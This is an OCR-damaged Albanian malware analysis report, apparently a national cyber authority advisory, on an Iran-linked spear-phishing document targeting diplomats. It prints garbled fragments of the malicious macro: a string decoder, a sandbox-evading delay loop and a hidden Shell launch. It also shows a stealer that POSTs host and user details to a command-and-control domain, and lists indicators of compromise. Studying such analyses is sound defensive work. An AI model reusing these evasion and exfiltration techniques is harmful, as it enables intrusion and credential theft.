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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté bazuar n€ informacionet t€ vendosura né dispozicion né
momentin e pérgatitjes s€ tij. Ndérkohé, disa aspekte mund t€ jené t€ ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashé€s mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t&€ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund t€ jené t€ zbutura ose jo t€ pérfshira né€ raport. Ky vendim &shté marré pér t€ mbajtur
integritetin dhe siguriné e t& dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar c¢farédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.



Informacione Teknike

Eshté evidentuar qarkullimi i njé fushate spear-phishing ku shénjestrohen ambasadat dhe trupat
diplomatike ku emailet dérgohen nga adresa zyrtare t€ Ministrisé sé Punéve té€ Jashtme t€ Omanit.
Nga inteligjenca kibernetike €shté investiguar se pas késaj fushate e lidhur me Iranin, t& cilét
dyshohet se kané lidhje me MOIS — Ministriné e Inteligjencés dhe Sigurisé sé Iranit.

Figura 1: Dokumenti attach

Analiza e skedarit Online Seminar.FM.gov.om.doc

Skedari Online Seminar.FM.gov.om.doc &shté njé skedar i tipit doc. N€ vijim t€ analizés,
shikohet qé skedaré té tillé pérmbajné zakonisht macro, pjesé kodi té€ cilat ekzekutohen kur
dokumenti hapet dhe thérritet funksioni Document_Open.

N¢ kété rast evidentohen dhe disa fjal€ kyce t€ cilat na japin informacion se kemi t€ b&jmé me njé
skedar keqdashés.



| AutoExec |Document_Open |Runs when the Word or Publisher document is

|
| | | opened [
| | Open |[May open a file

| |Output |IMay write to a file (if combined with Open) |
| |Print # |IMay write to a file (if combined with Open)

| |shell |[May run an executable file or a system

| | | command |
| | vbHide |[May run an executable file or a syste

| | | command |
| | command |[May run PowerShell commands

| |Chr |[May attempt to obfuscate specific strings

| | (use option --decbf to deobfuscate)

| Hex Strin |Hex-encoded strings were detected, may be

| |lused to obfuscate strings (option --decode to]
| | |

Figura 2. Evidentimi i kewords té dyshimta.

Nga analiza e kodit burim té ruajtur n€ macro evidentohet funksioni dddd qé merr njé parametér
nj€ string, funksioni laylay(), funksioni RRRR merr njé parametér.

Function dddd(str As String)
Dim out As String
For counter = 1 To Len(str) Step
out = out & ((Val(Mid(str, counter, 3))))

MNext
dddd = out
End Function

Figura 3. Funksioni dddd

Funksioni dddd:
Ky funksion merr njé tekst (str) q€ pérmban numra né formé karakteresh, t€ ndaré ¢do 3 karaktere.
(Cdo treshifror konvertohet né njé karakter duke pérdorur funksionin Chr().



Function laylay()

Dim loopl As Integer
Dim aa As Integer

loopl = 118
For tmpl = 1 To loopl
For tmp2 = 1 To loopl
For tmp3 = 1 To loopl
For tmp4 = 1 To loopl
aa = aa + 1
Next
aa = 0@
Next
Next

Next
aa = 0

End Function

Figura 4. laylay

Funksioni laylay
Ky funksion nuk ka ndonjé qéllim t& mirfillt€, vetém krijon nj€ vonesé (delay) me ané t€ njé€ cikli

for.

Funksioni RRRR
Ky funksion merr njé parametér path, g¢ mund t€ jet€ njé program apo pjesé kodi pér t’u
ekzekutuar.

.On Error GoTo erorr2

Kjo pjese kodi realizon nése ndodh ndonjé gabim gjaté ekzekutimit, kodi té kalojé te blloku i1 kodit
erorr2, pér t€ mos shkaktuar error té€ dukshém.

Funksioni laylay thirret pér t€ vonuar ekzekutimin. (laylay €shté nj€ loop qé nuk bén asgjé por
vonon procesin).

Qéllimi: t€ anashkalojé analizén automatike ose sandbox qé€ pérdorin kohé té kufizuar pér
skanimin.

executablePath = path

Caktohet vlera entry (path), njé variabél tjetér me emér tjetér (executablePath).



windowStyle = vbHide
Ky é&shté njé parametér pér funksionin Shell, g€ ka si funksion:

Ekzekutimin e komandés por jo shfagjen e output (console window).

errorCode = Shell(command, windowStyle)

Kjo &shté pjesa mé e réndésishme e kétij skedari nga ku funksioni Shell() ekzekuton komandén e
dhéné (command) me parametrin vbHide.

Pra, kjo e hap at€ skedar (g€ pritet t€ jeté njé program ose script), pa dijeniné e pérdoruesit.
Nése nuk ka probleme gjaté ekzekutimit, kthehet njé process ID integer, pérndryshe kthen 0.

Function RRRR(path As String)

On Error GoTo erorr2
Dim executablePath As String
Dim As String
Dim windowStyle As Integer
Dim waitOnReturn As Boolean
Dim errorCode As Variant
laylay

executablePath = path
executablePath

waitOnReturn = False
laylay

errorCode = ( , windowStyle)
If errorCode <> @ Then
End If

Figura 5. Funksioni RRRR

Funksioni Document_Open

Ky funksion ekzekutohet automatikisht kur hapet dokumenti (Document_Open = AutoExec).
Pércakton path-in e njé€ skedari né disk:

"C:\Users\Public\Documents\ManagerProc.log"

Thérret laylay pér t€ vonuar procesin (delay).

Lexon njé€ tekst nga njé TextBox brenda njé forme (UserForml) dhe e dekodon me funksionin
dddd.

Ky tekst né formé numrash &shté i fshehur dhe pérkthehet né komandé ose kod si dhe shkruan
rezultatin e dekoduar né njé file .log.

Thérret RRRR(pth) pér ta ekzekutuar até file té€ sapo krijuar pa shfaqur output te pérdoruesi.



b Document ()
GoTo AAAA

pth As
Dim malmal_path

[J.th =
].c:_g. lay

Dim app As
app =
laylay

R RN

fileNumber =
pth For

.F
Fi

leNumber, app
file

i
leNumber
RRRR (pth)

laylay

Figura 6. Document Open

Evidentimi i VBA Form né€ Macros/UserForm1/o, nga ku evidentohet vendosja e payload t&
kétij skedari keqdashés.

» 2025-08-20 GCO INCIDENT_FILES * Online SeminarFM.gov.om *> Macros » UserForm

~

Name Date modified Type Size
S
| [1]CompObj File 1 KB
| [31VBFrame File 1KB
s o
| f File 1KB
s = -
| o File B

Figura 8. Payload UserFrml o

Nése duam té€ dekodojmé két€ skedar mund té€ pérdorim Microsoft Office Word debugger qé



ofron veté platforma ose mund t€ shkruajmé té njejtén llogjiké té kodit por né€ njé€ gjuhé tjetér psh
python. Prandaj krijojmé skedarin né python deobfuscator.py dhe si parametér lexojm skedarin
0.

def decode triplets(num str: str) -> bytes:|
out = bytearray()
] for i in range (0, len(num str), 3):
chunk = num str[i:i+3]
H if len(chunk) < 3:
- break
i try:

= v = int (chunk)

except ValueError:

- o=

- out.append(v & 0xXFF)

= return bytes (out)

Figura 9. Simulimi i funksionit dddd

| —_—

Gjaté fazés sé deobfuskimit u evidentua se kemi t€ béjmé me krijimin dinamik té njé skedari 1 tipit
PE (executable) e cila tregohet nga vargu i karaktereve !This program cannot be run in DOS
mode.

arkers=[MZ, PE , .d11] ->

This program cannot be run in DOS mode.

nnot be run
E*EEA+19
$4P 4P= D&t 3
) @ A.pdata Tt B4 > ad

30LEUDL+DLESEES LEEDEA, vEEQABEA. BAAEVYDKA2+EHC

Figura 10 Ekstraktimi i skedarit té ekzekutueshém

Ky skedar u ruajt dhe né momentin qé skedarit i ndryshuam prapashtesén né .exe evidentohet se
skedari ndryshon pamje dhe 1 vendoset nj€ ikoné.

dump.exe




Figura 11 Skedari i ekstraktuar

Ky skedar éshté i kompiluar ne gjuhén C/C++ me vleré hash:
76fa8dca768b64aefedd85f7d0a33¢c2693b94bdb55f40ced7830561e48e39¢75
dhe me description né€ properties me emrin sysProcUpdate.

File name

C:\Users\flare\Desktop\ManagerProc.exe

File type File size

PEG4 342.50 KiB

Scan

Automatic

~ PE64

Compiler: Microsoft Visual C
Linker: Microsoft Linker(14.4.

Mode
64-bit

Endianness
LE

++(2022+)[-]
[GUI64]

Architecture
AMD64

v Qverlay: Binary
Format: plain text[CRLF]

Figura 12. Kompiluesi C/C++

Nga analiza statike kuptojmé se skedari €shté€ packed, pra jané pé€rdorur teknika komplekse né ményré q&
kodi t€ jeté shumé i véshtiré pér t’u kuptuar. Duke paré€ natyrén e skedarit dyshohet se kemi té b&jmé me
njé skedar stealer (vjedhés kredencialesh). Prandaj ndiget me procesin e debug funksionet si WinHttpOpen,
WinHttpOpenRequest etj.

Gjaté vendosjes s€ njé pike né funksionin WinHttpConnect evidentohet ne regjistrin RDX domaini
Screenail.Jonline dhe n€ funksionin WinHttpOpen path /home dhe domaini dérgon njé kérkesé drejt
Screenail.Jonline/home

o 00007FF8886EFABE | cC int3 - e 5
aga 48:895C24 18 mov gword ptr ss:[rsp+18],rbx WinHttpConnect R 0002E G 10,5720 Eijpliojoxzs
[ 00007FF8866EFACS 55 push rbp REX  0000000000000001 . .
el 00007FF8886EFACE 36 bush e} rsi:mzE" RCX  000002BC93495720 & X _
o/ 00007FF8886EFACT 57 push rdi > 00000750 S48 0
®|[00007FF8886EFACS 41:54 push riz RBP CIDFFFEC
| 00007FF8886EFACA| 41555 push r13 RSP 000000CCIDFFF438 &"HLDS HE |
®|[00007FF8886EFACC 41:56 push ri4 RSIT 000002BC 93457700 “mzE"
| 00007FF88B6EFACE| 41157 ush ris r15: "wzE" RDI  000000CCIDFFF485
| 00007FF8886EFADO 48:8DAC24 BOFSFFFF ea rbp,qword ptr ss:[frsp-a50] [rsp-A50] :&"BVH" % \x02"
®| 00007FF8886EFADS|  4BIS1EC 50080000 sub rsp,E50 R RS 000000000000OLEE L'a
o/ 00007FF8886EFADE 4818805 6A370D00 mov rax,qword ptr ds:[7FFE887C3250] rax:&"plio”o\x7F RS 0000000000000000
| 00007FF8886EFAEG|  48:33c4 XOF rax,rsp RL0  0000000000000001
o 00007FF8886EFAED|  48:8985 400A0000 mov qword ptr ss:Irbp+ad0],rax TR G000 oS o0
| 00007FF88E6EFAFD|  45:33ED xor ri3d,rild IR re000000 o000
| 00007FF8886EFAF3|  AC:8BFY. mov ri5,rcx r15:"MzE". rox:&"puo e\XTF"
o| 00007FF8886EFAFG . Xar ecx,ecx L3 QR IO00000000000000)
| 00007FF888GEFAFS 4C:896C24 70 mov quord ptr ss:[rsp+70],r13 R14  000002BC934578B0
#|00007FF8886EFAFD 380D 81450000 cmp byte ptr ds:[7FF8887C4084],c1 R15  0000000140000000 "mzE"
o 00007FF8886EFB03|  41:0FB7CO movzx_ eax,rw ) )
o 00007FF8886EFB07 | OF57CO Xxorps xmm0, xmmo RIP  00007FF88BGEFACO <winhttp.winHrepconnect>
| 00007FF8886EFB0A|  66:894424 50 mov word ptr ss:lrsp+50],ax
/[ 00007FF8886EFBOF 45:8BF1 mov ridd,rod RFLAGS 0000000000000344
| 00007FF8886EFB12 894D 98 mov dword ptr ss:lrbp-68l,ecx ZF 1 PF 1
of 00007FF8886EFBLS 48:8BDA mov rbx,rdx rdx:L"screenai.online" OF 0 SFO DF O
| 00007FF8886EFB18|  45:8BES mov r12d,rl3d CFO TF1 TF1
| 00007FF8886EFB1E|  OFildS 88 movups xmmword ptr ss:[rbp-7&], xmm0
|--e| 00007FF8886EFE1F| - OF84 61010000 je winhttp. 7FFBE86EFCEE LastError 00000000 (ERROR_SUCCESS)

Figura 13. Domain keqdashés

Pér t€ par€ llojin e kérkesés q€ dérgon evidentohet né regjistrin RDX né funksionin WinHttpOpenRequest
kérkesa e cila €shté e tipit POST



gggg :rb:g WINHTTpOpenRequest rak EEL
sdzp rai rsii"mzE" RAX  000002BCO34EE3D0
Push r12 RBEX  0000000000000001
push r13 RCX  0D0002BCO34B4420
push ris RDX  000002BC934EB3D0
ush r r15:"MzE" REP  00000OCCODFFFECO
ea rbp,quord ptr ss:[frsp-28] RSP 000000CCODFFF438  &HADSHHF | SH"
sub rsp,128 RSI  000002BCO3457700 "MzE"
mov rax,qword ptr ds: [7FF8887€3250] rax:L"POST" RDI  000000CCIDFFF487
xor rax,rsp
mov quord ptr ss:[rbp+10f,rax 0 (ISR
mov ri3d,dword ptr ss:rbp+Acl ol o o000 50 6000
nov rai're FB:L" /Home," RLO  0000000000000000
r B 5 : R11  ZE000000000C4708
mov quord per ss:lirsprsoll,re RL2  0000000000000000
mov quord ptr ss:firsps68l,rdx rsp+63] :&"DAN"0\XTF" R13  0000000000000000
PG s et T TGl Rl  000002BC93457880
mov rax,rdx rax:L"POST", rdx:L"POST" R15  0000000140000000 “mzE"
mov rdx,qword ptr ss:[Drbp:98]
Tea ri2d,quord per ds:[rsi-1] RIP  00007FFA8870A200 <winhttp. winHttpopenrequest>
F BFL mov ria,rcx rex:&"DAN O\X7F"
J0007FES; C:894C24 70 mov_gword ptr_ss:lirsp:700.r9 RFLAGS __0000000000000344

Duke géné se po dérgohet njé kérkes€ do evidentohet se n€ thérritjen e funksionit WinHttpSendRequest né
format JSON do i dérgohen me ané t€ POST request disa informacione kundrejt domainit keqdashés.

Figura 14. POST Request

a5 : BBEI
C74424 54 01000000

ush rbp
Push rbx

260
sub r g
mov rax,qword ptr ds:[7FFBBBZC3250]
xor rax,rs
mov gquord ptr ss:hrbpr L0, rax
r orizd,rizd

&l.ro

ptr spusolrazd
. : [7FrBBB7CA0B4] a1
mmo

s il spe 540, 1

hov G
oy fadyr

*a(;(q 55 :frbp-coll.r1z
134

1 sp+ 60N, FRFFFFFFEREEF

WinHttpsendrequest

radMzE”

r15:MzE"

Fax:L"Content-Type: application/json”

mzE’

Irbp-481:

“Content-Tvoe: aoplication/ison’

0 BN XTE"

Hide FPu
RAX  000002EC934DES00 L"content-Type: application/json’
REX  00000D0000000DOL

RCX  000002BC934DB10 FAG GURTF

ROX  000D002BCO34D6800 U Content type: application/json”_|
REE 000000

RSP 000000CCODFFF438

RSI  000002BC93457700 “uzE"

RDI  00000DCCODFFFA88

RS 00000D000OD00D0O

R9  000002EC95117040

R1O  0000000000D00000

RIL  Foc 000031FD

RI2  0000000000000000

R1Z  000000000000DD00

RI4  0000026C93457880

RS 0000000140000000 “wzE"

RIP  00007FF888709040 <winhttp, winHttpsendrequest>

RFLAGS  0000000000000344
ZE1 PEL AP O

Formati i cili dergohet {"computerName":"<...>","userName":"<...>","isAdmin":"<..>","ID":"1"}

Figura 15. Content-Type application/json

Pl S e e oo n -
R T = = - T
J.H.o.m.e./.....
feeeea..THDA. ...
J.H.o.m.e. /...,
R 4 = - W
J.H.o.m.e./.....
...PE)AR. ..
e 0 = - WA
, 'computerMame' :
T - W
LIDT L. L.
it - - W
n.c.a.l.r.p.c...
I T - L W
{"username" "

Figura 16. Marrja e informacioneve me ané té POST

Indikatorét e Komprometimit

screenail.Jonline

Domain

b2c52fde1301a3624a9ceb995f2de4112dS57fcbc6a4695799aec1Saf4fa0al22

Online

Seminar.FM.gov.om.dnr.doc




761a8dca768b64aefedd8517d0a33¢c2693b94bdbS55f40ced7830561e48e39¢75 | sysProcUpdate

1883db6de22d98ed0018719b11deSbf1d02fc206b89fedd6dd0df0e8d40c4cS6 | sysProcUpdate

1¢c16b271c0c4e277eb3d1a7795d4746ce80152f04827a4f3c5798aaf4d51f6al | Online
Seminar.FM.gov.ct.tr(2).doc

3ac8283916547¢50501eed8e7c3a77f0ae8b009¢7b72275be8726a5b6ae255e3 | sysProcUpdate

3d6169¢c0330b302ddf4701bbc956b8fca683d1c1b3146768dcbce4ala3932ca | sysProcUpdate

Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

e Bllokimin e menjéhershém té Indikatoréve té Komprometimit, t€ pérmendura mé sipér né
pajisjet tuaja mbrojtése.

e Analizimin e vazhdueshém té logeve g€ vijné€ nga SIEM (Security information and Event
Management).

e Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies s€ infektimit
prej tyre.

e Instalimin e pajisjeve té perimetrit t€ rrjetit q€ b&né analizé té thell€ t€ trafikut duke u
mbéshtetur jo vetém né rregullat e listave t€ aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

e Sistemet e evidentuara té€ segmentohen né VLAN-e t€ ndryshme, duke aplikuar “Access
control list pér t€ gjithé perimetrin e rrjetit”, webserviset duhet té jené t€ ndaré nga Databaza e
tyre, Active Directory duhet t€ jeté né njé VLAN té ndaré.

e Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t€ Administratoréve Lokal.

e T& aplikohen filtra t€ trafikut né rastin e aksesimit n€ distancé t€ hosteve (punonjésve/palé té
treta/klienté).

e Té&implementohen zgjidhje q€ kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

e Té& kryhen analiza té trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

e Té projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér té€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.




